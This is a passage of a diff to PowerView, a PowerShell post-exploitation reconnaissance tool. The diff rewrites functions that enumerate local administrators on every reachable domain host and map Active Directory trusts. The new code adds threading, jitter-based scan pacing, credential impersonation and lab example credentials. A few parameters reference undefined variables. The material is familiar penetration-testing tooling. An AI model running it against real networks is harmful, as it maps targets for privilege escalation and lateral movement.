-
- .PARAMETER DomainOnly
+Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
- Switch. Only return domain (non-local) results
+.PARAMETER Jitter
- .PARAMETER Domain
+Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
- Domain to query for machines, defaults to the current domain.
-
- .PARAMETER DomainController
+.PARAMETER Threads
- Domain controller to reflect LDAP queries through.
+The number of threads to use for user searching, defaults to 20.
- .PARAMETER SearchForest
+.EXAMPLE
- Switch. Search all domains in the forest for target users instead of just
- a single domain.
+Find-DomainLocalGroupMember
- .PARAMETER API
+Enumerates the local group memberships for all reachable machines in the current domain.
- Switch. Use API calls instead of the WinNT service provider. Less information,
- but the results are faster.
+.EXAMPLE
- .PARAMETER Threads
+Find-DomainLocalGroupMember -Domain dev.testlab.local
- The maximum concurrent threads to execute.
+Enumerates the local group memberships for all reachable machines the dev.testlab.local domain.
- .EXAMPLE
+.EXAMPLE
- PS C:\> Invoke-EnumerateLocalAdmin
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Find-DomainLocalGroupMember -Domain testlab.local -Credential $Cred
- Enumerates the members of local administrators for all machines
- in the current domain.
+Enumerates the local group memberships for all reachable machines the dev.testlab.local
+domain using the alternate credentials.
- .EXAMPLE
+.OUTPUTS
- PS C:\> Invoke-EnumerateLocalAdmin -Threads 10
+PowerView.LocalGroupMember.API
- Threaded local admin enumeration, replaces Invoke-EnumerateLocalAdminThreaded
+Custom PSObject with translated group property fields from API results.
- .LINK
+PowerView.LocalGroupMember.WinNT
- http://blog.harmj0y.net/
+Custom PSObject with translated group property fields from WinNT results.
#>
- [CmdletBinding()]
- param(
- [Parameter(Position=0,ValueFromPipeline=$True)]
- [Alias('Hosts')]
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType('PowerView.LocalGroupMember.API')]
+ [OutputType('PowerView.LocalGroupMember.WinNT')]
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('DNSHostName')]
[String[]]
$ComputerName,
- [ValidateScript({Test-Path -Path $_ })]
- [Alias('HostList')]
+ [ValidateNotNullOrEmpty()]
[String]
- $ComputerFile,
+ $ComputerDomain,
+ [ValidateNotNullOrEmpty()]
[String]
- $ComputerFilter,
+ $ComputerLDAPFilter,
+ [ValidateNotNullOrEmpty()]
[String]
- $ComputerADSpath,
+ $ComputerSearchBase,
- [Switch]
- $NoPing,
-
- [UInt32]
- $Delay = 0,
-
- [Double]
- $Jitter = .3,
+ [ValidateNotNullOrEmpty()]
+ [Alias('OperatingSystem')]
+ [String]
+ $ComputerOperatingSystem,
+ [ValidateNotNullOrEmpty()]
+ [Alias('ServicePack')]
[String]
- $OutFile,
+ $ComputerServicePack,
- [Switch]
- $NoClobber,
+ [ValidateNotNullOrEmpty()]
+ [Alias('SiteName')]
+ [String]
+ $ComputerSiteName,
- [Switch]
- $TrustGroups,
+ [Parameter(ValueFromPipelineByPropertyName = $True)]
+ [ValidateNotNullOrEmpty()]
+ [String]
+ $GroupName = 'Administrators',
- [Switch]
- $DomainOnly,
+ [ValidateSet('API', 'WinNT')]
+ [Alias('CollectionMethod')]
+ [String]
+ $Method = 'API',
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainController')]
[String]
- $Domain,
+ $Server,
+ [ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
- $DomainController,
+ $SearchScope = 'Subtree',
- [Switch]
- $SearchForest,
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ResultPageSize = 200,
- [ValidateRange(1,100)]
+ [ValidateRange(1, 10000)]
[Int]
- $Threads,
+ $ServerTimeLimit,
[Switch]
- $API
- )
-
- begin {
- if ($PSBoundParameters['Debug']) {
- $DebugPreference = 'Continue'
- }
+ $Tombstone,
- # random object for delay
- $RandNo = New-Object System.Random
-
- Write-Verbose "[*] Running Invoke-EnumerateLocalAdmin with delay of $Delay"
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty,
- # if we're using a host list, read the targets in and add them to the target list
- if($ComputerFile) {
- $ComputerName = Get-Content -Path $ComputerFile
- }
+ [ValidateRange(1, 10000)]
+ [Int]
+ $Delay = 0,
- if(!$ComputerName) {
- [array]$ComputerName = @()
+ [ValidateRange(0.0, 1.0)]
+ [Double]
+ $Jitter = .3,
- if($Domain) {
- $TargetDomains = @($Domain)
- }
- elseif($SearchForest) {
- # get ALL the domains in the forest to search
- $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name }
- }
- else {
- # use the local domain
- $TargetDomains = @( (Get-NetDomain).name )
- }
+ [Int]
+ [ValidateRange(1, 100)]
+ $Threads = 20
+ )
- ForEach ($Domain in $TargetDomains) {
- Write-Verbose "[*] Querying domain $Domain for hosts"
- $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController
- }
-
- # remove any null target hosts, uniquify the list and shuffle it
- $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
- if($($ComputerName.Count) -eq 0) {
- throw "No hosts found!"
- }
+ BEGIN {
+ $ComputerSearcherArguments = @{
+ 'Properties' = 'dnshostname'
+ }
+ if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
+ if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
+ if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
+ if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
+ if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
+ if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
+ if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
+ if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
+ if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
+ if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
+
+ if ($PSBoundParameters['ComputerName']) {
+ $TargetComputers = $ComputerName
}
-
- # delete any existing output file if it already exists
- if(!$NoClobber) {
- if ($OutFile -and (Test-Path -Path $OutFile)) { Remove-Item -Path $OutFile }
+ else {
+ Write-Verbose '[Find-DomainLocalGroupMember] Querying computers in the domain'
+ $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
}
-
- if($TrustGroups) {
-
- Write-Verbose "Determining domain trust groups"
-
- # find all group names that have one or more users in another domain
- $TrustGroupNames = Find-ForeignGroup -Domain $Domain -DomainController $DomainController | ForEach-Object { $_.GroupName } | Sort-Object -Unique
-
- $TrustGroupsSIDs = $TrustGroupNames | ForEach-Object {
- # ignore the builtin administrators group for a DC (S-1-5-32-544)
- # TODO: ignore all default built in sids?
- Get-NetGroup -Domain $Domain -DomainController $DomainController -GroupName $_ -FullData | Where-Object { $_.objectsid -notmatch "S-1-5-32-544" } | ForEach-Object { $_.objectsid }
- }
-
- # query for the primary domain controller so we can extract the domain SID for filtering
- $DomainSID = Get-DomainSID -Domain $Domain -DomainController $DomainController
+ Write-Verbose "[Find-DomainLocalGroupMember] TargetComputers length: $($TargetComputers.Length)"
+ if ($TargetComputers.Length -eq 0) {
+ throw '[Find-DomainLocalGroupMember] No hosts found to enumerate'
}
- # script block that enumerates a server
+ # the host enumeration block we're using to enumerate all servers
$HostEnumBlock = {
- param($ComputerName, $Ping, $OutFile, $DomainSID, $TrustGroupsSIDs, $API, $DomainOnly)
+ Param($ComputerName, $GroupName, $Method, $TokenHandle)
- # optionally check if the server is up first
- $Up = $True
- if($Ping) {
- $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
+ if ($TokenHandle) {
+ # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation
+ $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet
}
- if($Up) {
- # grab the users for the local admins on this server
- if($API) {
- $LocalAdmins = Get-NetLocalGroup -ComputerName $ComputerName -API
- }
- else {
- $LocalAdmins = Get-NetLocalGroup -ComputerName $ComputerName
- }
-
- # if we just want to return cross-trust users
- if($DomainSID) {
- # get the local machine SID
- $LocalSID = ($LocalAdmins | Where-Object { $_.SID -match '.*-500$' }).SID -replace "-500$"
- Write-Verbose "LocalSid for $ComputerName : $LocalSID"
- # filter out accounts that begin with the machine SID and domain SID
- # but preserve any groups that have users across a trust ($TrustGroupSIDS)
- $LocalAdmins = $LocalAdmins | Where-Object { ($TrustGroupsSIDs -contains $_.SID) -or ((-not $_.SID.startsWith($LocalSID)) -and (-not $_.SID.startsWith($DomainSID))) }
- }
-
- if($DomainOnly) {
- $LocalAdmins = $LocalAdmins | Where-Object {$_.IsDomain}
- }
- if($LocalAdmins -and ($LocalAdmins.Length -ne 0)) {
- # output the results to a csv if specified
- if($OutFile) {
- $LocalAdmins | Export-PowerViewCSV -OutFile $OutFile
- }
- else {
- # otherwise return the user objects
- $LocalAdmins
+ ForEach ($TargetComputer in $ComputerName) {
+ $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
+ if ($Up) {
+ $NetLocalGroupMemberArguments = @{
+ 'ComputerName' = $TargetComputer
+ 'Method' = $Method
+ 'GroupName' = $GroupName
}
- }
- else {
- Write-Verbose "[!] No users returned from $ComputerName"
+ Get-NetLocalGroupMember @NetLocalGroupMemberArguments
}
}
- }
- }
-
- process {
-
- if($Threads) {
- Write-Verbose "Using threading with threads = $Threads"
- # if we're using threading, kick off the script block with Invoke-ThreadedFunction
- $ScriptParams = @{
- 'Ping' = $(-not $NoPing)
- 'OutFile' = $OutFile
- 'DomainSID' = $DomainSID
- 'TrustGroupsSIDs' = $TrustGroupsSIDs
+ if ($TokenHandle) {
+ Invoke-RevertToSelf
}
+ }
- # kick off the threaded script block + arguments
- if($API) {
- $ScriptParams['API'] = $True
+ $LogonToken = $Null
+ if ($PSBoundParameters['Credential']) {
+ if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
+ $LogonToken = Invoke-UserImpersonation -Credential $Credential
}
-
- if($DomainOnly) {
- $ScriptParams['DomainOnly'] = $True
+ else {
+ $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet
}
-
- Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
+ }
- else {
- if(-not $NoPing -and ($ComputerName.count -ne 1)) {
- # ping all hosts in parallel
- $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
- $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100
- }
+ PROCESS {
+ # only ignore threading if -Delay is passed
+ if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
- Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)"
+ Write-Verbose "[Find-DomainLocalGroupMember] Total number of hosts: $($TargetComputers.count)"
+ Write-Verbose "[Find-DomainLocalGroupMember] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
+ $RandNo = New-Object System.Random
- ForEach ($Computer in $ComputerName) {
-
+ ForEach ($TargetComputer in $TargetComputers) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
- Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))"
- $ScriptArgs = @($Computer, $False, $OutFile, $DomainSID, $TrustGroupsSIDs, $API, $DomainOnly)
+ Write-Verbose "[Find-DomainLocalGroupMember] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
+ Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $GroupName, $Method, $LogonToken
+ }
+ }
+ else {
+ Write-Verbose "[Find-DomainLocalGroupMember] Using threading with threads: $Threads"
- Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $ScriptArgs
+ # if we're using threading, kick off the script block with New-ThreadedFunction
+ $ScriptParams = @{
+ 'GroupName' = $GroupName
+ 'Method' = $Method
+ 'TokenHandle' = $LogonToken
}
+
+ # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
+ New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
+ }
+ }
+
+ END {
+ if ($LogonToken) {
+ Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
@@ -12515,99 +17305,197 @@ function Invoke-EnumerateLocalAdmin {
#
########################################################
-function Get-NetDomainTrust {
+function Get-DomainTrust {
<#
- .SYNOPSIS
+.SYNOPSIS
- Return all domain trusts for the current domain or
- a specified domain.
+Return all domain trusts for the current domain or a specified domain.
- .PARAMETER Domain
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Get-Domain, Get-DomainSearcher, Get-DomainSID, PSReflect
- The domain whose trusts to enumerate, defaults to the current domain.
+.DESCRIPTION
- .PARAMETER DomainController
+This function will enumerate domain trust relationships for the current (or a remote)
+domain using a number of methods. By default, the .NET method GetAllTrustRelationships()
+is used on the System.DirectoryServices.ActiveDirectory.Domain object. If the -LDAP flag
+is specified, or any of the LDAP-appropriate parameters, an LDAP search using the filter
+'(objectClass=trustedDomain)' is used instead. If the -API flag is specified, the
+Win32 API DsEnumerateDomainTrusts() call is used to enumerate instead.
- Domain controller to reflect LDAP queries through.
+.PARAMETER Domain
- .PARAMETER ADSpath
+Specifies the domain to query for trusts, defaults to the current domain.
- The LDAP source to search through, e.g. "LDAP://DC=testlab,DC=local".
- Useful for global catalog queries ;)
+.PARAMETER API
- .PARAMETER API
+Switch. Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts instead of the built-in
+.NET methods.
- Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts.
+.PARAMETER LDAP
- .PARAMETER LDAP
+Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections.
- Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections.
- More likely to get around network segmentation, but not as accurate.
+.PARAMETER LDAPFilter
- .PARAMETER PageSize
+Specifies an LDAP query string that is used to filter Active Directory objects.
- The PageSize to set for the LDAP searcher object.
+.PARAMETER Properties
- .EXAMPLE
+Specifies the properties of the output object to retrieve from the server.
- PS C:\> Get-NetDomainTrust
+.PARAMETER SearchBase
- Return domain trusts for the current domain using built in .NET methods.
+The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+Useful for OU queries.
- .EXAMPLE
+.PARAMETER Server
- PS C:\> Get-NetDomainTrust -Domain "prod.testlab.local"
+Specifies an Active Directory server (domain controller) to bind to.
- Return domain trusts for the "prod.testlab.local" domain using .NET methods
+.PARAMETER SearchScope
- .EXAMPLE
+Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
- PS C:\> Get-NetDomainTrust -LDAP -Domain "prod.testlab.local" -DomainController "PRIMARY.testlab.local"
+.PARAMETER ResultPageSize
- Return domain trusts for the "prod.testlab.local" domain enumerated through LDAP
- queries, reflecting queries through the "Primary.testlab.local" domain controller,
- using .NET methods.
+Specifies the PageSize to set for the LDAP searcher object.
- .EXAMPLE
+.PARAMETER ServerTimeLimit
- PS C:\> Get-NetDomainTrust -API -Domain "prod.testlab.local"
+Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
- Return domain trusts for the "prod.testlab.local" domain enumerated through API calls.
+.PARAMETER Tombstone
- .EXAMPLE
+Switch. Specifies that the searcher should also return deleted/tombstoned objects.
- PS C:\> Get-NetDomainTrust -API -DomainController WINDOWS2.testlab.local
+.PARAMETER FindOne
- Return domain trusts reachable from the WINDOWS2 machine through API calls.
-#>
+Only return one result object.
- [CmdletBinding()]
- param(
- [Parameter(Position=0, ValueFromPipeline=$True)]
- [String]
- $Domain,
+.PARAMETER Credential
- [String]
- $DomainController,
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain.
+
+.EXAMPLE
+
+Get-DomainTrust
+
+Return domain trusts for the current domain using built in .NET methods.
+
+.EXAMPLE
+
+Get-DomainTrust -Domain "prod.testlab.local"
+
+Return domain trusts for the "prod.testlab.local" domain using .NET methods
+
+.EXAMPLE
+
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Get-DomainTrust -LDAP -Domain "prod.testlab.local" -Server "PRIMARY.testlab.local" -Credential $Cred
+
+Return domain trusts for the "prod.testlab.local" domain enumerated through LDAP
+queries, binding to the PRIMARY.testlab.local server for queries, and using the specified
+alternate credenitals.
+
+.EXAMPLE
+
+Get-DomainTrust -API -Domain "prod.testlab.local"
+
+Return domain trusts for the "prod.testlab.local" domain enumerated through API calls.
+
+.OUTPUTS
+
+PowerView.DomainTrust.NET
+A TrustRelationshipInformationCollection returned when using .NET methods (default).
+
+PowerView.DomainTrust.LDAP
+
+Custom PSObject with translated domain LDAP trust result fields.
+
+PowerView.DomainTrust.API
+
+Custom PSObject with translated domain API trust result fields.
+#>
+
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType('PowerView.DomainTrust.NET')]
+ [OutputType('PowerView.DomainTrust.LDAP')]
+ [OutputType('PowerView.DomainTrust.API')]
+ [CmdletBinding(DefaultParameterSetName = 'NET')]
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('Name')]
+ [ValidateNotNullOrEmpty()]
[String]
- $ADSpath,
+ $Domain,
+ [Parameter(ParameterSetName = 'API')]
[Switch]
$API,
+ [Parameter(ParameterSetName = 'LDAP')]
[Switch]
$LDAP,
- [ValidateRange(1,10000)]
+ [Parameter(ParameterSetName = 'LDAP')]
+ [ValidateNotNullOrEmpty()]
+ [Alias('Filter')]
+ [String]
+ $LDAPFilter,
+
+ [Parameter(ParameterSetName = 'LDAP')]
+ [ValidateNotNullOrEmpty()]
+ [String[]]
+ $Properties,
+
+ [Parameter(ParameterSetName = 'LDAP')]
+ [ValidateNotNullOrEmpty()]
+ [Alias('ADSPath')]
+ [String]
+ $SearchBase,
+
+ [Parameter(ParameterSetName = 'LDAP')]
+ [Parameter(ParameterSetName = 'API')]
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainController')]
+ [String]
+ $Server,
+
+ [Parameter(ParameterSetName = 'LDAP')]
+ [ValidateSet('Base', 'OneLevel', 'Subtree')]
+ [String]
+ $SearchScope = 'Subtree',
+
+ [Parameter(ParameterSetName = 'LDAP')]
+ [ValidateRange(1, 10000)]
[Int]
- $PageSize = 200,
+ $ResultPageSize = 200,
+ [Parameter(ParameterSetName = 'LDAP')]
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ServerTimeLimit,
+
+ [Parameter(ParameterSetName = 'LDAP')]
+ [Switch]
+ $Tombstone,
+
+ [Alias('ReturnOne')]
+ [Switch]
+ $FindOne,
+
+ [Parameter(ParameterSetName = 'LDAP')]
[Management.Automation.PSCredential]
- $Credential
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
)
- begin {
+ BEGIN {
$TrustAttributes = @{
[uint32]'0x00000001' = 'non_transitive'
[uint32]'0x00000002' = 'uplevel_only'
@@ -12621,33 +17509,61 @@ function Get-NetDomainTrust {
[uint32]'0x00000200' = 'cross_organization_no_tgt_delegation'
[uint32]'0x00000400' = 'pim_trust'
}
+
+ $LdapSearcherArguments = @{}
+ if ($PSBoundParameters['LDAPFilter']) { $LdapSearcherArguments['LDAPFilter'] = $LDAPFilter }
+ if ($PSBoundParameters['Properties']) { $LdapSearcherArguments['Properties'] = $Properties }
+ if ($PSBoundParameters['SearchBase']) { $LdapSearcherArguments['SearchBase'] = $SearchBase }
+ if ($PSBoundParameters['Server']) { $LdapSearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['SearchScope']) { $LdapSearcherArguments['SearchScope'] = $SearchScope }
+ if ($PSBoundParameters['ResultPageSize']) { $LdapSearcherArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $LdapSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['Tombstone']) { $LdapSearcherArguments['Tombstone'] = $Tombstone }
+ if ($PSBoundParameters['Credential']) { $LdapSearcherArguments['Credential'] = $Credential }
}
- process {
+ PROCESS {
+ if ($PsCmdlet.ParameterSetName -ne 'API') {
+ $NetSearcherArguments = @{}
+ if ($Domain -and $Domain.Trim() -ne '') {
+ $SourceDomain = $Domain
+ }
+ else {
+ if ($PSBoundParameters['Credential']) {
+ $SourceDomain = (Get-Domain -Credential $Credential).Name
+ }
+ else {
+ $SourceDomain = (Get-Domain).Name
+ }
+ }
- if(-not $Domain) {
- # if not domain is specified grab the current domain
- $SourceDomain = (Get-NetDomain -Credential $Credential).Name
+ $NetSearcherArguments['Domain'] = $SourceDomain
+ if ($PSBoundParameters['Credential']) { $NetSearcherArguments['Credential'] = $Credential }
}
else {
- $SourceDomain = $Domain
+ if ($Domain -and $Domain.Trim() -ne '') {
+ $SourceDomain = $Domain
+ }
+ else {
+ $SourceDomain = $Env:USERDNSDOMAIN
+ }
}
- if($LDAP -or $ADSPath) {
-
- $TrustSearcher = Get-DomainSearcher -Domain $SourceDomain -DomainController $DomainController -Credential $Credential -PageSize $PageSize -ADSpath $ADSpath
+ if ($PsCmdlet.ParameterSetName -eq 'LDAP') {
+ # if we're searching for domain trusts through LDAP/ADSI
+ $TrustSearcher = Get-DomainSearcher @LdapSearcherArguments
+ $SourceSID = Get-DomainSID @NetSearcherArguments
- $SourceSID = Get-DomainSID -Domain $SourceDomain -DomainController $DomainController
-
- if($TrustSearcher) {
+ if ($TrustSearcher) {
$TrustSearcher.Filter = '(objectClass=trustedDomain)'
- $Results = $TrustSearcher.FindAll()
+ if ($PSBoundParameters['FindOne']) { $Results = $TrustSearcher.FindOne() }
+ else { $Results = $TrustSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
$Props = $_.Properties
$DomainTrust = New-Object PSObject
-
+
$TrustAttrib = @()
$TrustAttrib += $TrustAttributes.Keys | Where-Object { $Props.trustattributes[0] -band $_ } | ForEach-Object { $TrustAttributes[$_] }
@@ -12657,8 +17573,10 @@ function Get-NetDomainTrust {
2 { 'Outbound' }
3 { 'Bidirectional' }
}
+
$ObjectGuid = New-Object Guid @(,$Props.objectguid[0])
$TargetSID = (New-Object System.Security.Principal.SecurityIdentifier($Props.securityidentifier[0],0)).Value
+
$DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain
$DomainTrust | Add-Member Noteproperty 'SourceSID' $SourceSID
$DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0]
@@ -12666,86 +17584,93 @@ function Get-NetDomainTrust {
$DomainTrust | Add-Member Noteproperty 'ObjectGuid' "{$ObjectGuid}"
$DomainTrust | Add-Member Noteproperty 'TrustType' $($TrustAttrib -join ',')
$DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction"
- $DomainTrust.PSObject.TypeNames.Add('PowerView.DomainTrustLDAP')
+ $DomainTrust.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.LDAP')
$DomainTrust
}
- $Results.dispose()
+ if ($Results) {
+ try { $Results.dispose() }
+ catch {
+ Write-Verbose "[Get-DomainTrust] Error disposing of the Results object: $_"
+ }
+ }
$TrustSearcher.dispose()
}
}
- elseif($API) {
- if(-not $DomainController) {
- $DomainController = Get-NetDomainController -Credential $Credential -Domain $SourceDomain | Select-Object -First 1 | Select-Object -ExpandProperty Name
+ elseif ($PsCmdlet.ParameterSetName -eq 'API') {
+ # if we're searching for domain trusts through Win32 API functions
+ if ($PSBoundParameters['Server']) {
+ $TargetDC = $Server
+ }
+ elseif ($Domain -and $Domain.Trim() -ne '') {
+ $TargetDC = $Domain
+ }
+ else {
+ # see https://msdn.microsoft.com/en-us/library/ms675976(v=vs.85).aspx for default NULL behavior
+ $TargetDC = $Null
}
- if($DomainController) {
- # arguments for DsEnumerateDomainTrusts
- $PtrInfo = [IntPtr]::Zero
+ # arguments for DsEnumerateDomainTrusts
+ $PtrInfo = [IntPtr]::Zero
- # 63 = DS_DOMAIN_IN_FOREST + DS_DOMAIN_DIRECT_OUTBOUND + DS_DOMAIN_TREE_ROOT + DS_DOMAIN_PRIMARY + DS_DOMAIN_NATIVE_MODE + DS_DOMAIN_DIRECT_INBOUND
- $Flags = 63
- $DomainCount = 0
+ # 63 = DS_DOMAIN_IN_FOREST + DS_DOMAIN_DIRECT_OUTBOUND + DS_DOMAIN_TREE_ROOT + DS_DOMAIN_PRIMARY + DS_DOMAIN_NATIVE_MODE + DS_DOMAIN_DIRECT_INBOUND
+ $Flags = 63
+ $DomainCount = 0
- # get the trust information from the target server
- $Result = $Netapi32::DsEnumerateDomainTrusts($DomainController, $Flags, [ref]$PtrInfo, [ref]$DomainCount)
+ # get the trust information from the target server
+ $Result = $Netapi32::DsEnumerateDomainTrusts($TargetDC, $Flags, [ref]$PtrInfo, [ref]$DomainCount)
- # Locate the offset of the initial intPtr
- $Offset = $PtrInfo.ToInt64()
+ # Locate the offset of the initial intPtr
+ $Offset = $PtrInfo.ToInt64()
- # 0 = success
- if (($Result -eq 0) -and ($Offset -gt 0)) {
+ # 0 = success
+ if (($Result -eq 0) -and ($Offset -gt 0)) {
- # Work out how much to increment the pointer by finding out the size of the structure
- $Increment = $DS_DOMAIN_TRUSTS::GetSize()
+ # Work out how much to increment the pointer by finding out the size of the structure
+ $Increment = $DS_DOMAIN_TRUSTS::GetSize()
- # parse all the result structures
- for ($i = 0; ($i -lt $DomainCount); $i++) {
- # create a new int ptr at the given offset and cast the pointer as our result structure
- $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
- $Info = $NewIntPtr -as $DS_DOMAIN_TRUSTS
+ # parse all the result structures
+ for ($i = 0; ($i -lt $DomainCount); $i++) {
+ # create a new int ptr at the given offset and cast the pointer as our result structure
+ $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
+ $Info = $NewIntPtr -as $DS_DOMAIN_TRUSTS
- $Offset = $NewIntPtr.ToInt64()
- $Offset += $Increment
+ $Offset = $NewIntPtr.ToInt64()
+ $Offset += $Increment
- $SidString = ""
- $Result = $Advapi32::ConvertSidToStringSid($Info.DomainSid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
+ $SidString = ''
+ $Result = $Advapi32::ConvertSidToStringSid($Info.DomainSid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
- if($Result -eq 0) {
- Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
- }
- else {
- $DomainTrust = New-Object PSObject
- $DomainTrust | Add-Member Noteproperty 'SourceDomain' $SourceDomain
- $DomainTrust | Add-Member Noteproperty 'SourceDomainController' $DomainController
- $DomainTrust | Add-Member Noteproperty 'NetbiosDomainName' $Info.NetbiosDomainName
- $DomainTrust | Add-Member Noteproperty 'DnsDomainName' $Info.DnsDomainName
- $DomainTrust | Add-Member Noteproperty 'Flags' $Info.Flags
- $DomainTrust | Add-Member Noteproperty 'ParentIndex' $Info.ParentIndex
- $DomainTrust | Add-Member Noteproperty 'TrustType' $Info.TrustType
- $DomainTrust | Add-Member Noteproperty 'TrustAttributes' $Info.TrustAttributes
- $DomainTrust | Add-Member Noteproperty 'DomainSid' $SidString
- $DomainTrust | Add-Member Noteproperty 'DomainGuid' $Info.DomainGuid
- $DomainTrust.PSObject.TypeNames.Add('PowerView.APIDomainTrust')
- $DomainTrust
- }
+ if ($Result -eq 0) {
+ Write-Verbose "[Get-DomainTrust] Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
+ }
+ else {
+ $DomainTrust = New-Object PSObject
+ $DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain
+ $DomainTrust | Add-Member Noteproperty 'TargetName' $Info.DnsDomainName
+ $DomainTrust | Add-Member Noteproperty 'TargetNetbiosName' $Info.NetbiosDomainName
+ $DomainTrust | Add-Member Noteproperty 'Flags' $Info.Flags
+ $DomainTrust | Add-Member Noteproperty 'ParentIndex' $Info.ParentIndex
+ $DomainTrust | Add-Member Noteproperty 'TrustType' $Info.TrustType
+ $DomainTrust | Add-Member Noteproperty 'TrustAttributes' $Info.TrustAttributes
+ $DomainTrust | Add-Member Noteproperty 'TargetSid' $SidString
+ $DomainTrust | Add-Member Noteproperty 'TargetGuid' $Info.DomainGuid
+ $DomainTrust.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.API')
+ $DomainTrust
}
- # free up the result buffer
- $Null = $Netapi32::NetApiBufferFree($PtrInfo)
- }
- else {
